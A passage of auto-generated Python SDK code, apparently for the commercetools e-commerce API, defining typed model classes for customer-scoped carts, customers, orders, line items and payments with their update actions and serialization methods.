"MyCustomerSetCustomTypeAction",
"MyCustomerSetDateOfBirthAction",
"MyCustomerSetDefaultBillingAddressAction",
"MyCustomerSetDefaultShippingAddressAction",
"MyCustomerSetFirstNameAction",
"MyCustomerSetLastNameAction",
"MyCustomerSetLocaleAction",
"MyCustomerSetMiddleNameAction",
"MyCustomerSetSalutationAction",
"MyCustomerSetTitleAction",
"MyCustomerSetVatIdAction",
"MyCustomerUpdate",
"MyCustomerUpdateAction",
"MyLineItemDraft",
"MyOrder",
"MyOrderFromCartDraft",
"MyPayment",
"MyPaymentAddTransactionAction",
"MyPaymentChangeAmountPlannedAction",
"MyPaymentDraft",
"MyPaymentPagedQueryResponse",
"MyPaymentSetCustomFieldAction",
"MyPaymentSetMethodInfoInterfaceAction",
"MyPaymentSetMethodInfoMethodAction",
"MyPaymentSetMethodInfoNameAction",
"MyPaymentUpdate",
"MyPaymentUpdateAction",
"MyShoppingListAddLineItemAction",
"MyShoppingListAddTextLineItemAction",
"MyShoppingListChangeLineItemQuantityAction",
"MyShoppingListChangeLineItemsOrderAction",
"MyShoppingListChangeNameAction",
"MyShoppingListChangeTextLineItemNameAction",
"MyShoppingListChangeTextLineItemQuantityAction",
"MyShoppingListChangeTextLineItemsOrderAction",
"MyShoppingListDraft",
"MyShoppingListRemoveLineItemAction",
"MyShoppingListRemoveTextLineItemAction",
"MyShoppingListSetCustomFieldAction",
"MyShoppingListSetCustomTypeAction",
"MyShoppingListSetDeleteDaysAfterLastModificationAction",
"MyShoppingListSetDescriptionAction",
"MyShoppingListSetLineItemCustomFieldAction",
"MyShoppingListSetLineItemCustomTypeAction",
"MyShoppingListSetTextLineItemCustomFieldAction",
"MyShoppingListSetTextLineItemCustomTypeAction",
"MyShoppingListSetTextLineItemDescriptionAction",
"MyShoppingListUpdate",
"MyShoppingListUpdateAction",
"MyTransactionDraft",
]
class MyCart(BaseResource):
last_modified_by: typing.Optional["LastModifiedBy"]
created_by: typing.Optional["CreatedBy"]
customer_id: typing.Optional[str]
customer_email: typing.Optional[str]
anonymous_id: typing.Optional[str]
store: typing.Optional["StoreKeyReference"]
line_items: typing.List["LineItem"]
custom_line_items: typing.List["CustomLineItem"]
total_price: "TypedMoney"
taxed_price: typing.Optional["TaxedPrice"]
cart_state: "CartState"
shipping_address: typing.Optional["Address"]
billing_address: typing.Optional["Address"]
inventory_mode: typing.Optional["InventoryMode"]
tax_mode: "TaxMode"
tax_rounding_mode: "RoundingMode"
tax_calculation_mode: "TaxCalculationMode"
customer_group: typing.Optional["CustomerGroupReference"]
#: A two-digit country code as per [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2).
country: typing.Optional[str]
shipping_info: typing.Optional["ShippingInfo"]
discount_codes: typing.Optional[typing.List["DiscountCodeInfo"]]
custom: typing.Optional["CustomFields"]
payment_info: typing.Optional["PaymentInfo"]
locale: typing.Optional[str]
delete_days_after_last_modification: typing.Optional[int]
refused_gifts: typing.List["CartDiscountReference"]
origin: "CartOrigin"
shipping_rate_input: typing.Optional["ShippingRateInput"]
item_shipping_addresses: typing.Optional[typing.List["Address"]]
def __init__(
self,
*,
id: str,
version: int,
created_at: datetime.datetime,
last_modified_at: datetime.datetime,
last_modified_by: typing.Optional["LastModifiedBy"] = None,
created_by: typing.Optional["CreatedBy"] = None,
customer_id: typing.Optional[str] = None,
customer_email: typing.Optional[str] = None,
anonymous_id: typing.Optional[str] = None,
store: typing.Optional["StoreKeyReference"] = None,
line_items: typing.List["LineItem"],
custom_line_items: typing.List["CustomLineItem"],
total_price: "TypedMoney",
taxed_price: typing.Optional["TaxedPrice"] = None,
cart_state: "CartState",
shipping_address: typing.Optional["Address"] = None,
billing_address: typing.Optional["Address"] = None,
inventory_mode: typing.Optional["InventoryMode"] = None,
tax_mode: "TaxMode",
tax_rounding_mode: "RoundingMode",
tax_calculation_mode: "TaxCalculationMode",
customer_group: typing.Optional["CustomerGroupReference"] = None,
country: typing.Optional[str] = None,
shipping_info: typing.Optional["ShippingInfo"] = None,
discount_codes: typing.Optional[typing.List["DiscountCodeInfo"]] = None,
custom: typing.Optional["CustomFields"] = None,
payment_info: typing.Optional["PaymentInfo"] = None,
locale: typing.Optional[str] = None,
delete_days_after_last_modification: typing.Optional[int] = None,
refused_gifts: typing.List["CartDiscountReference"],
origin: "CartOrigin",
shipping_rate_input: typing.Optional["ShippingRateInput"] = None,
item_shipping_addresses: typing.Optional[typing.List["Address"]] = None
):
self.last_modified_by = last_modified_by
self.created_by = created_by
self.customer_id = customer_id
self.customer_email = customer_email
self.anonymous_id = anonymous_id
self.store = store
self.line_items = line_items
self.custom_line_items = custom_line_items
self.total_price = total_price
self.taxed_price = taxed_price
self.cart_state = cart_state
self.shipping_address = shipping_address
self.billing_address = billing_address
self.inventory_mode = inventory_mode
self.tax_mode = tax_mode
self.tax_rounding_mode = tax_rounding_mode
self.tax_calculation_mode = tax_calculation_mode
self.customer_group = customer_group
self.country = country
self.shipping_info = shipping_info
self.discount_codes = discount_codes
self.custom = custom
self.payment_info = payment_info
self.locale = locale
self.delete_days_after_last_modification = delete_days_after_last_modification
self.refused_gifts = refused_gifts
self.origin = origin
self.shipping_rate_input = shipping_rate_input
self.item_shipping_addresses = item_shipping_addresses
super().__init__(
id=id,
version=version,
created_at=created_at,
last_modified_at=last_modified_at,
)
@classmethod
def deserialize(cls, data: typing.Dict[str, typing.Any]) -> "MyCart":
from ._schemas.me import MyCartSchema
return MyCartSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartSchema
return MyCartSchema().dump(self)
class MyCartDraft(_BaseType):
#: A three-digit currency code as per [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2).
currency: str
customer_email: typing.Optional[str]
#: A two-digit country code as per [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2).
country: typing.Optional[str]
#: Default inventory mode is `None`.
inventory_mode: typing.Optional["InventoryMode"]
line_items: typing.Optional[typing.List["MyLineItemDraft"]]
shipping_address: typing.Optional["Address"]
billing_address: typing.Optional["Address"]
shipping_method: typing.Optional["ShippingMethodResourceIdentifier"]
#: The custom fields.
custom: typing.Optional["CustomFieldsDraft"]
locale: typing.Optional[str]
#: The `TaxMode` `Disabled` can not be set on the My Carts endpoint.
tax_mode: typing.Optional["TaxMode"]
#: The cart will be deleted automatically if it hasn't been modified for the specified amount of days and it is in the `Active` CartState.
#: If a ChangeSubscription for carts exists, a `ResourceDeleted` notification will be sent.
delete_days_after_last_modification: typing.Optional[int]
#: Contains addresses for orders with multiple shipping addresses.
#: Each address must contain a key which is unique in this cart.
item_shipping_addresses: typing.Optional[typing.List["Address"]]
store: typing.Optional["StoreKeyReference"]
discount_codes: typing.Optional[typing.List["DiscountCodeInfo"]]
def __init__(
self,
*,
currency: str,
customer_email: typing.Optional[str] = None,
country: typing.Optional[str] = None,
inventory_mode: typing.Optional["InventoryMode"] = None,
line_items: typing.Optional[typing.List["MyLineItemDraft"]] = None,
shipping_address: typing.Optional["Address"] = None,
billing_address: typing.Optional["Address"] = None,
shipping_method: typing.Optional["ShippingMethodResourceIdentifier"] = None,
custom: typing.Optional["CustomFieldsDraft"] = None,
locale: typing.Optional[str] = None,
tax_mode: typing.Optional["TaxMode"] = None,
delete_days_after_last_modification: typing.Optional[int] = None,
item_shipping_addresses: typing.Optional[typing.List["Address"]] = None,
store: typing.Optional["StoreKeyReference"] = None,
discount_codes: typing.Optional[typing.List["DiscountCodeInfo"]] = None
):
self.currency = currency
self.customer_email = customer_email
self.country = country
self.inventory_mode = inventory_mode
self.line_items = line_items
self.shipping_address = shipping_address
self.billing_address = billing_address
self.shipping_method = shipping_method
self.custom = custom
self.locale = locale
self.tax_mode = tax_mode
self.delete_days_after_last_modification = delete_days_after_last_modification
self.item_shipping_addresses = item_shipping_addresses
self.store = store
self.discount_codes = discount_codes
super().__init__()
@classmethod
def deserialize(cls, data: typing.Dict[str, typing.Any]) -> "MyCartDraft":
from ._schemas.me import MyCartDraftSchema
return MyCartDraftSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartDraftSchema
return MyCartDraftSchema().dump(self)
class MyCartUpdate(_BaseType):
version: int
actions: typing.List["MyCartUpdateAction"]
def __init__(self, *, version: int, actions: typing.List["MyCartUpdateAction"]):
self.version = version
self.actions = actions
super().__init__()
@classmethod
def deserialize(cls, data: typing.Dict[str, typing.Any]) -> "MyCartUpdate":
from ._schemas.me import MyCartUpdateSchema
return MyCartUpdateSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartUpdateSchema
return MyCartUpdateSchema().dump(self)
class MyCartUpdateAction(_BaseType):
action: str
def __init__(self, *, action: str):
self.action = action
super().__init__()
@classmethod
def deserialize(cls, data: typing.Dict[str, typing.Any]) -> "MyCartUpdateAction":
if data["action"] == "addDiscountCode":
from ._schemas.me import MyCartAddDiscountCodeActionSchema
return MyCartAddDiscountCodeActionSchema().load(data)
if data["action"] == "addItemShippingAddress":
from ._schemas.me import MyCartAddItemShippingAddressActionSchema
return MyCartAddItemShippingAddressActionSchema().load(data)
if data["action"] == "addLineItem":
from ._schemas.me import MyCartAddLineItemActionSchema
return MyCartAddLineItemActionSchema().load(data)
if data["action"] == "addPayment":
from ._schemas.me import MyCartAddPaymentActionSchema
return MyCartAddPaymentActionSchema().load(data)
if data["action"] == "applyDeltaToLineItemShippingDetailsTargets":
from ._schemas.me import (
MyCartApplyDeltaToLineItemShippingDetailsTargetsActionSchema,
)
return MyCartApplyDeltaToLineItemShippingDetailsTargetsActionSchema().load(
data
)
if data["action"] == "changeLineItemQuantity":
from ._schemas.me import MyCartChangeLineItemQuantityActionSchema
return MyCartChangeLineItemQuantityActionSchema().load(data)
if data["action"] == "changeTaxMode":
from ._schemas.me import MyCartChangeTaxModeActionSchema
return MyCartChangeTaxModeActionSchema().load(data)
if data["action"] == "recalculate":
from ._schemas.me import MyCartRecalculateActionSchema
return MyCartRecalculateActionSchema().load(data)
if data["action"] == "removeDiscountCode":
from ._schemas.me import MyCartRemoveDiscountCodeActionSchema
return MyCartRemoveDiscountCodeActionSchema().load(data)
if data["action"] == "removeItemShippingAddress":
from ._schemas.me import MyCartRemoveItemShippingAddressActionSchema
return MyCartRemoveItemShippingAddressActionSchema().load(data)
if data["action"] == "removeLineItem":
from ._schemas.me import MyCartRemoveLineItemActionSchema
return MyCartRemoveLineItemActionSchema().load(data)
if data["action"] == "removePayment":
from ._schemas.me import MyCartRemovePaymentActionSchema
return MyCartRemovePaymentActionSchema().load(data)
if data["action"] == "setBillingAddress":
from ._schemas.me import MyCartSetBillingAddressActionSchema
return MyCartSetBillingAddressActionSchema().load(data)
if data["action"] == "setCountry":
from ._schemas.me import MyCartSetCountryActionSchema
return MyCartSetCountryActionSchema().load(data)
if data["action"] == "setCustomField":
from ._schemas.me import MyCartSetCustomFieldActionSchema
return MyCartSetCustomFieldActionSchema().load(data)
if data["action"] == "setCustomShippingMethod":
from ._schemas.me import MyCartSetCustomShippingMethodActionSchema
return MyCartSetCustomShippingMethodActionSchema().load(data)
if data["action"] == "setCustomType":
from ._schemas.me import MyCartSetCustomTypeActionSchema
return MyCartSetCustomTypeActionSchema().load(data)
if data["action"] == "setDeleteDaysAfterLastModification":
from ._schemas.me import (
MyCartSetDeleteDaysAfterLastModificationActionSchema,
)
return MyCartSetDeleteDaysAfterLastModificationActionSchema().load(data)
if data["action"] == "setLineItemCustomField":
from ._schemas.me import MyCartSetLineItemCustomFieldActionSchema
return MyCartSetLineItemCustomFieldActionSchema().load(data)
if data["action"] == "setLineItemCustomType":
from ._schemas.me import MyCartSetLineItemCustomTypeActionSchema
return MyCartSetLineItemCustomTypeActionSchema().load(data)
if data["action"] == "setLineItemDistributionChannel":
from ._schemas.me import MyCartSetLineItemDistributionChannelActionSchema
return MyCartSetLineItemDistributionChannelActionSchema().load(data)
if data["action"] == "setLineItemShippingDetails":
from ._schemas.me import MyCartSetLineItemShippingDetailsActionSchema
return MyCartSetLineItemShippingDetailsActionSchema().load(data)
if data["action"] == "setLocale":
from ._schemas.me import MyCartSetLocaleActionSchema
return MyCartSetLocaleActionSchema().load(data)
if data["action"] == "setShippingAddress":
from ._schemas.me import MyCartSetShippingAddressActionSchema
return MyCartSetShippingAddressActionSchema().load(data)
if data["action"] == "setShippingMethod":
from ._schemas.me import MyCartSetShippingMethodActionSchema
return MyCartSetShippingMethodActionSchema().load(data)
if data["action"] == "updateItemShippingAddress":
from ._schemas.me import MyCartUpdateItemShippingAddressActionSchema
return MyCartUpdateItemShippingAddressActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartUpdateActionSchema
return MyCartUpdateActionSchema().dump(self)
class MyCustomer(BaseResource):
last_modified_by: typing.Optional["LastModifiedBy"]
created_by: typing.Optional["CreatedBy"]
customer_number: typing.Optional[str]
email: str
password: str
first_name: typing.Optional[str]
last_name: typing.Optional[str]
middle_name: typing.Optional[str]
title: typing.Optional[str]
date_of_birth: typing.Optional[datetime.date]
company_name: typing.Optional[str]
vat_id: typing.Optional[str]
addresses: typing.List["Address"]
default_shipping_address_id: typing.Optional[str]
shipping_address_ids: typing.Optional[typing.List["str"]]
default_billing_address_id: typing.Optional[str]
billing_address_ids: typing.Optional[typing.List["str"]]
is_email_verified: bool
external_id: typing.Optional[str]
customer_group: typing.Optional["CustomerGroupReference"]
custom: typing.Optional["CustomFields"]
locale: typing.Optional[str]
salutation: typing.Optional[str]
key: typing.Optional[str]
stores: typing.Optional[typing.List["StoreKeyReference"]]
def __init__(
self,
*,
id: str,
version: int,
created_at: datetime.datetime,
last_modified_at: datetime.datetime,
last_modified_by: typing.Optional["LastModifiedBy"] = None,
created_by: typing.Optional["CreatedBy"] = None,
customer_number: typing.Optional[str] = None,
email: str,
password: str,
first_name: typing.Optional[str] = None,
last_name: typing.Optional[str] = None,
middle_name: typing.Optional[str] = None,
title: typing.Optional[str] = None,
date_of_birth: typing.Optional[datetime.date] = None,
company_name: typing.Optional[str] = None,
vat_id: typing.Optional[str] = None,
addresses: typing.List["Address"],
default_shipping_address_id: typing.Optional[str] = None,
shipping_address_ids: typing.Optional[typing.List["str"]] = None,
default_billing_address_id: typing.Optional[str] = None,
billing_address_ids: typing.Optional[typing.List["str"]] = None,
is_email_verified: bool,
external_id: typing.Optional[str] = None,
customer_group: typing.Optional["CustomerGroupReference"] = None,
custom: typing.Optional["CustomFields"] = None,
locale: typing.Optional[str] = None,
salutation: typing.Optional[str] = None,
key: typing.Optional[str] = None,
stores: typing.Optional[typing.List["StoreKeyReference"]] = None
):
self.last_modified_by = last_modified_by
self.created_by = created_by
self.customer_number = customer_number
self.email = email
self.password = password
self.first_name = first_name
self.last_name = last_name
self.middle_name = middle_name
self.title = title
self.date_of_birth = date_of_birth
self.company_name = company_name
self.vat_id = vat_id
self.addresses = addresses
self.default_shipping_address_id = default_shipping_address_id
self.shipping_address_ids = shipping_address_ids
self.default_billing_address_id = default_billing_address_id
self.billing_address_ids = billing_address_ids
self.is_email_verified = is_email_verified
self.external_id = external_id
self.customer_group = customer_group
self.custom = custom
self.locale = locale
self.salutation = salutation
self.key = key
self.stores = stores
super().__init__(
id=id,
version=version,
created_at=created_at,
last_modified_at=last_modified_at,
)
@classmethod
def deserialize(cls, data: typing.Dict[str, typing.Any]) -> "MyCustomer":
from ._schemas.me import MyCustomerSchema
return MyCustomerSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerSchema
return MyCustomerSchema().dump(self)
class MyCustomerDraft(_BaseType):
email: str
password: str
first_name: typing.Optional[str]
last_name: typing.Optional[str]
middle_name: typing.Optional[str]
title: typing.Optional[str]
date_of_birth: typing.Optional[datetime.date]
company_name: typing.Optional[str]
vat_id: typing.Optional[str]
#: Sets the ID of each address to be unique in the addresses list.
addresses: typing.Optional[typing.List["Address"]]
#: The index of the address in the addresses array.
#: The `defaultShippingAddressId` of the customer will be set to the ID of that address.
default_shipping_address: typing.Optional[int]
#: The index of the address in the addresses array.
#: The `defaultBillingAddressId` of the customer will be set to the ID of that address.
default_billing_address: typing.Optional[int]
#: The custom fields.
custom: typing.Optional["CustomFields"]
locale: typing.Optional[str]
stores: typing.Optional[typing.List["StoreResourceIdentifier"]]
def __init__(
self,
*,
email: str,
password: str,
first_name: typing.Optional[str] = None,
last_name: typing.Optional[str] = None,
middle_name: typing.Optional[str] = None,
title: typing.Optional[str] = None,
date_of_birth: typing.Optional[datetime.date] = None,
company_name: typing.Optional[str] = None,
vat_id: typing.Optional[str] = None,
addresses: typing.Optional[typing.List["Address"]] = None,
default_shipping_address: typing.Optional[int] = None,
default_billing_address: typing.Optional[int] = None,
custom: typing.Optional["CustomFields"] = None,
locale: typing.Optional[str] = None,
stores: typing.Optional[typing.List["StoreResourceIdentifier"]] = None
):
self.email = email
self.password = password
self.first_name = first_name
self.last_name = last_name
self.middle_name = middle_name
self.title = title
self.date_of_birth = date_of_birth
self.company_name = company_name
self.vat_id = vat_id
self.addresses = addresses
self.default_shipping_address = default_shipping_address
self.default_billing_address = default_billing_address
self.custom = custom
self.locale = locale
self.stores = stores
super().__init__()
@classmethod
def deserialize(cls, data: typing.Dict[str, typing.Any]) -> "MyCustomerDraft":
from ._schemas.me import MyCustomerDraftSchema
return MyCustomerDraftSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerDraftSchema
return MyCustomerDraftSchema().dump(self)
class MyCustomerUpdate(_BaseType):
version: int
actions: typing.List["MyCustomerUpdateAction"]
def __init__(self, *, version: int, actions: typing.List["MyCustomerUpdateAction"]):
self.version = version
self.actions = actions
super().__init__()
@classmethod
def deserialize(cls, data: typing.Dict[str, typing.Any]) -> "MyCustomerUpdate":
from ._schemas.me import MyCustomerUpdateSchema
return MyCustomerUpdateSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerUpdateSchema
return MyCustomerUpdateSchema().dump(self)
class MyCustomerUpdateAction(_BaseType):
action: str
def __init__(self, *, action: str):
self.action = action
super().__init__()
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerUpdateAction":
if data["action"] == "addAddress":
from ._schemas.me import MyCustomerAddAddressActionSchema
return MyCustomerAddAddressActionSchema().load(data)
if data["action"] == "addBillingAddressId":
from ._schemas.me import MyCustomerAddBillingAddressIdActionSchema
return MyCustomerAddBillingAddressIdActionSchema().load(data)
if data["action"] == "addShippingAddressId":
from ._schemas.me import MyCustomerAddShippingAddressIdActionSchema
return MyCustomerAddShippingAddressIdActionSchema().load(data)
if data["action"] == "changeAddress":
from ._schemas.me import MyCustomerChangeAddressActionSchema
return MyCustomerChangeAddressActionSchema().load(data)
if data["action"] == "changeEmail":
from ._schemas.me import MyCustomerChangeEmailActionSchema
return MyCustomerChangeEmailActionSchema().load(data)
if data["action"] == "removeAddress":
from ._schemas.me import MyCustomerRemoveAddressActionSchema
return MyCustomerRemoveAddressActionSchema().load(data)
if data["action"] == "removeBillingAddressId":
from ._schemas.me import MyCustomerRemoveBillingAddressIdActionSchema
return MyCustomerRemoveBillingAddressIdActionSchema().load(data)
if data["action"] == "removeShippingAddressId":
from ._schemas.me import MyCustomerRemoveShippingAddressIdActionSchema
return MyCustomerRemoveShippingAddressIdActionSchema().load(data)
if data["action"] == "setCompanyName":
from ._schemas.me import MyCustomerSetCompanyNameActionSchema
return MyCustomerSetCompanyNameActionSchema().load(data)
if data["action"] == "setCustomField":
from ._schemas.me import MyCustomerSetCustomFieldActionSchema
return MyCustomerSetCustomFieldActionSchema().load(data)
if data["action"] == "setCustomType":
from ._schemas.me import MyCustomerSetCustomTypeActionSchema
return MyCustomerSetCustomTypeActionSchema().load(data)
if data["action"] == "setDateOfBirth":
from ._schemas.me import MyCustomerSetDateOfBirthActionSchema
return MyCustomerSetDateOfBirthActionSchema().load(data)
if data["action"] == "setDefaultBillingAddress":
from ._schemas.me import MyCustomerSetDefaultBillingAddressActionSchema
return MyCustomerSetDefaultBillingAddressActionSchema().load(data)
if data["action"] == "setDefaultShippingAddress":
from ._schemas.me import MyCustomerSetDefaultShippingAddressActionSchema
return MyCustomerSetDefaultShippingAddressActionSchema().load(data)
if data["action"] == "setFirstName":
from ._schemas.me import MyCustomerSetFirstNameActionSchema
return MyCustomerSetFirstNameActionSchema().load(data)
if data["action"] == "setLastName":
from ._schemas.me import MyCustomerSetLastNameActionSchema
return MyCustomerSetLastNameActionSchema().load(data)
if data["action"] == "setLocale":
from ._schemas.me import MyCustomerSetLocaleActionSchema
return MyCustomerSetLocaleActionSchema().load(data)
if data["action"] == "setMiddleName":
from ._schemas.me import MyCustomerSetMiddleNameActionSchema
return MyCustomerSetMiddleNameActionSchema().load(data)
if data["action"] == "setSalutation":
from ._schemas.me import MyCustomerSetSalutationActionSchema
return MyCustomerSetSalutationActionSchema().load(data)
if data["action"] == "setTitle":
from ._schemas.me import MyCustomerSetTitleActionSchema
return MyCustomerSetTitleActionSchema().load(data)
if data["action"] == "setVatId":
from ._schemas.me import MyCustomerSetVatIdActionSchema
return MyCustomerSetVatIdActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerUpdateActionSchema
return MyCustomerUpdateActionSchema().dump(self)
class MyLineItemDraft(_BaseType):
product_id: str
variant_id: int
quantity: float
#: When the line item was added to the cart. Optional for backwards
#: compatibility reasons only.
added_at: typing.Optional[datetime.datetime]
#: By providing supply channel information, you can unique identify
#: inventory entries that should be reserved.
#: The provided channel should have the InventorySupply role.
supply_channel: typing.Optional["ChannelResourceIdentifier"]
#: The channel is used to select a ProductPrice.
#: The provided channel should have the ProductDistribution role.
distribution_channel: typing.Optional["ChannelResourceIdentifier"]
#: The custom fields.
custom: typing.Optional["CustomFieldsDraft"]
#: Container for line item specific address(es).
shipping_details: typing.Optional["ItemShippingDetailsDraft"]
sku: typing.Optional[str]
def __init__(
self,
*,
product_id: str,
variant_id: int,
quantity: float,
added_at: typing.Optional[datetime.datetime] = None,
supply_channel: typing.Optional["ChannelResourceIdentifier"] = None,
distribution_channel: typing.Optional["ChannelResourceIdentifier"] = None,
custom: typing.Optional["CustomFieldsDraft"] = None,
shipping_details: typing.Optional["ItemShippingDetailsDraft"] = None,
sku: typing.Optional[str] = None
):
self.product_id = product_id
self.variant_id = variant_id
self.quantity = quantity
self.added_at = added_at
self.supply_channel = supply_channel
self.distribution_channel = distribution_channel
self.custom = custom
self.shipping_details = shipping_details
self.sku = sku
super().__init__()
@classmethod
def deserialize(cls, data: typing.Dict[str, typing.Any]) -> "MyLineItemDraft":
from ._schemas.me import MyLineItemDraftSchema
return MyLineItemDraftSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyLineItemDraftSchema
return MyLineItemDraftSchema().dump(self)
class MyOrder(BaseResource):
last_modified_by: typing.Optional["LastModifiedBy"]
created_by: typing.Optional["CreatedBy"]
completed_at: typing.Optional[datetime.datetime]
order_number: typing.Optional[str]
customer_id: typing.Optional[str]
customer_email: typing.Optional[str]
anonymous_id: typing.Optional[str]
store: typing.Optional["StoreKeyReference"]
line_items: typing.List["LineItem"]
custom_line_items: typing.List["CustomLineItem"]
total_price: "TypedMoney"
taxed_price: typing.Optional["TaxedPrice"]
shipping_address: typing.Optional["Address"]
billing_address: typing.Optional["Address"]
tax_mode: typing.Optional["TaxMode"]
tax_rounding_mode: typing.Optional["RoundingMode"]
customer_group: typing.Optional["CustomerGroupReference"]
country: typing.Optional[str]
order_state: "OrderState"
state: typing.Optional["StateReference"]
shipment_state: typing.Optional["ShipmentState"]
payment_state: typing.Optional["PaymentState"]
shipping_info: typing.Optional["ShippingInfo"]
sync_info: typing.List["SyncInfo"]
return_info: typing.Optional[typing.List["ReturnInfo"]]
discount_codes: typing.Optional[typing.List["DiscountCodeInfo"]]
last_message_sequence_number: int
cart: typing.Optional["CartReference"]
custom: typing.Optional["CustomFields"]
payment_info: typing.Optional["PaymentInfo"]
locale: typing.Optional[str]
inventory_mode: typing.Optional["InventoryMode"]
origin: "CartOrigin"
tax_calculation_mode: typing.Optional["TaxCalculationMode"]
shipping_rate_input: typing.Optional["ShippingRateInput"]
item_shipping_addresses: typing.Optional[typing.List["Address"]]
refused_gifts: typing.List["CartDiscountReference"]
def __init__(
self,
*,
id: str,
version: int,
created_at: datetime.datetime,
last_modified_at: datetime.datetime,
last_modified_by: typing.Optional["LastModifiedBy"] = None,
created_by: typing.Optional["CreatedBy"] = None,
completed_at: typing.Optional[datetime.datetime] = None,
order_number: typing.Optional[str] = None,
customer_id: typing.Optional[str] = None,
customer_email: typing.Optional[str] = None,
anonymous_id: typing.Optional[str] = None,
store: typing.Optional["StoreKeyReference"] = None,
line_items: typing.List["LineItem"],
custom_line_items: typing.List["CustomLineItem"],
total_price: "TypedMoney",
taxed_price: typing.Optional["TaxedPrice"] = None,
shipping_address: typing.Optional["Address"] = None,
billing_address: typing.Optional["Address"] = None,
tax_mode: typing.Optional["TaxMode"] = None,
tax_rounding_mode: typing.Optional["RoundingMode"] = None,
customer_group: typing.Optional["CustomerGroupReference"] = None,
country: typing.Optional[str] = None,
order_state: "OrderState",
state: typing.Optional["StateReference"] = None,
shipment_state: typing.Optional["ShipmentState"] = None,
payment_state: typing.Optional["PaymentState"] = None,
shipping_info: typing.Optional["ShippingInfo"] = None,
sync_info: typing.List["SyncInfo"],
return_info: typing.Optional[typing.List["ReturnInfo"]] = None,
discount_codes: typing.Optional[typing.List["DiscountCodeInfo"]] = None,
last_message_sequence_number: int,
cart: typing.Optional["CartReference"] = None,
custom: typing.Optional["CustomFields"] = None,
payment_info: typing.Optional["PaymentInfo"] = None,
locale: typing.Optional[str] = None,
inventory_mode: typing.Optional["InventoryMode"] = None,
origin: "CartOrigin",
tax_calculation_mode: typing.Optional["TaxCalculationMode"] = None,
shipping_rate_input: typing.Optional["ShippingRateInput"] = None,
item_shipping_addresses: typing.Optional[typing.List["Address"]] = None,
refused_gifts: typing.List["CartDiscountReference"]
):
self.last_modified_by = last_modified_by
self.created_by = created_by
self.completed_at = completed_at
self.order_number = order_number
self.customer_id = customer_id
self.customer_email = customer_email
self.anonymous_id = anonymous_id
self.store = store
self.line_items = line_items
self.custom_line_items = custom_line_items
self.total_price = total_price
self.taxed_price = taxed_price
self.shipping_address = shipping_address
self.billing_address = billing_address
self.tax_mode = tax_mode
self.tax_rounding_mode = tax_rounding_mode
self.customer_group = customer_group
self.country = country
self.order_state = order_state
self.state = state
self.shipment_state = shipment_state
self.payment_state = payment_state
self.shipping_info = shipping_info
self.sync_info = sync_info
self.return_info = return_info
self.discount_codes = discount_codes
self.last_message_sequence_number = last_message_sequence_number
self.cart = cart
self.custom = custom
self.payment_info = payment_info
self.locale = locale
self.inventory_mode = inventory_mode
self.origin = origin
self.tax_calculation_mode = tax_calculation_mode
self.shipping_rate_input = shipping_rate_input
self.item_shipping_addresses = item_shipping_addresses
self.refused_gifts = refused_gifts
super().__init__(
id=id,
version=version,
created_at=created_at,
last_modified_at=last_modified_at,
)
@classmethod
def deserialize(cls, data: typing.Dict[str, typing.Any]) -> "MyOrder":
from ._schemas.me import MyOrderSchema
return MyOrderSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyOrderSchema
return MyOrderSchema().dump(self)
class MyOrderFromCartDraft(_BaseType):
#: The unique ID of the cart from which an order is created.
id: str
version: int
def __init__(self, *, id: str, version: int):
self.id = id
self.version = version
super().__init__()
@classmethod
def deserialize(cls, data: typing.Dict[str, typing.Any]) -> "MyOrderFromCartDraft":
from ._schemas.me import MyOrderFromCartDraftSchema
return MyOrderFromCartDraftSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyOrderFromCartDraftSchema
return MyOrderFromCartDraftSchema().dump(self)
class MyPayment(_BaseType):
id: str
version: int
#: A reference to the customer this payment belongs to.
customer: typing.Optional["CustomerReference"]
#: Identifies payments belonging to an anonymous session (the customer has not signed up/in yet).
anonymous_id: typing.Optional[str]
#: How much money this payment intends to receive from the customer.
#: The value usually matches the cart or order gross total.
amount_planned: "TypedMoney"
payment_method_info: "PaymentMethodInfo"
#: A list of financial transactions of different TransactionTypes
#: with different TransactionStates.
transactions: typing.List["Transaction"]
custom: typing.Optional["CustomFields"]
def __init__(
self,
*,
id: str,
version: int,
customer: typing.Optional["CustomerReference"] = None,
anonymous_id: typing.Optional[str] = None,
amount_planned: "TypedMoney",
payment_method_info: "PaymentMethodInfo",
transactions: typing.List["Transaction"],
custom: typing.Optional["CustomFields"] = None
):
self.id = id
self.version = version
self.customer = customer
self.anonymous_id = anonymous_id
self.amount_planned = amount_planned
self.payment_method_info = payment_method_info
self.transactions = transactions
self.custom = custom
super().__init__()
@classmethod
def deserialize(cls, data: typing.Dict[str, typing.Any]) -> "MyPayment":
from ._schemas.me import MyPaymentSchema
return MyPaymentSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyPaymentSchema
return MyPaymentSchema().dump(self)
class MyPaymentDraft(_BaseType):
#: How much money this payment intends to receive from the customer.
#: The value usually matches the cart or order gross total.
amount_planned: "Money"
payment_method_info: typing.Optional["PaymentMethodInfo"]
custom: typing.Optional["CustomFieldsDraft"]
#: A list of financial transactions of the `Authorization` or `Charge`
#: TransactionTypes.
transaction: typing.Optional["MyTransactionDraft"]
def __init__(
self,
*,
amount_planned: "Money",
payment_method_info: typing.Optional["PaymentMethodInfo"] = None,
